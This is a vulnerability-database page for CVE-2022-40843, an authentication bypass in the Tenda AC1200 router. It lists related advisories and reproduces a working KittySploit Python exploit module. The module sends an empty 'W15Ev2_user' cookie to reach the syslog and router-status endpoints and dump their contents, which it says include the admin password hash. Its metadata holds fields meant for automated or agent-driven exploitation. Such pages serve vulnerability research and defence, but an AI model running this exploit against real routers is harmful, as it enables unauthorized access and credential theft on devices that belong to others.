Tenda AC1200 Auth Bypass (CVE-2022-40843)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2022-40843 | 15 Nov 202202:15 | – | attackerkb | |
| CVE-2022-40843 | 25 Mar 202600:00 | – | circl | |
| Tenda AC1200 安全漏洞 | 14 Nov 202200:00 | – | cnnvd | |
| Tenda AC1200 authorization error vulnerability | 21 Nov 202200:00 | – | cnvd | |
| CVE-2022-40843 | 15 Nov 202200:00 | – | cve | |
| CVE-2022-40843 | 15 Nov 202200:00 | – | cvelist | |
| Tenda AC1200 V-W15Ev2 - Authentication Bypass Detection | 28 Jul 202611:27 | – | kittysploit | |
| Tenda AC1200 V-W15Ev2 - Authentication Bypass | 14 Oct 202602:05 | – | nuclei | |
| CVE-2022-40843 | 15 Nov 202202:15 | – | nvd | |
| CVE-2022-40843 | 15 Nov 202202:15 | – | osv |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Tenda AC1200 session auth bypass (CVE-2022-40843)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'Tenda AC1200 Auth Bypass (CVE-2022-40843)',
'description': (
'Exploits CVE-2022-40843 in Tenda AC1200 V-W15Ev2: empty W15Ev2_user cookie '
'bypasses authentication and exposes syslog/config containing admin password hash.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2022-40843'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-40843'],
'tags': ['tenda', 'router', 'auth-bypass', 'credential-leak', 'vkev'],
'agent': {
'risk': 'medium',
'effects': ['credential_access'],
'expected_requests': 3,
'reversible': True,
'approval_required': True,
'produces': ['credentials', 'admin_surface'],
'chain': {'suggested_followups': ['scanner/http/cve_2022_40843_detect']},
},
}
def _cookie(self) -> dict:
return {'Cookie': 'W15Ev2_user='}
def check(self):
r = self.http_request(
method='GET',
path='/goform/downloadSyslog/syslog.log',
headers=self._cookie(),
allow_redirects=False,
)
body = (r.text or '') if r else ''
if r and r.status_code == 200 and any(m in body for m in ('[system]', '[wan1]')):
return {'vulnerable': True, 'reason': 'Tenda syslog bypass confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Tenda bypass failed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('Tenda AC1200 not vulnerable')
return False
for path in (
'/goform/downloadSyslog/syslog.log',
'/goform/getRouterStatus',
):
r = self.http_request(method='GET', path=path, headers=self._cookie(), allow_redirects=False)
if r and r.status_code == 200:
print_success(f'{path} — {len(r.text or "")} bytes')
print_status((r.text or '')[:2000])
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.14.9
EPSS0.28802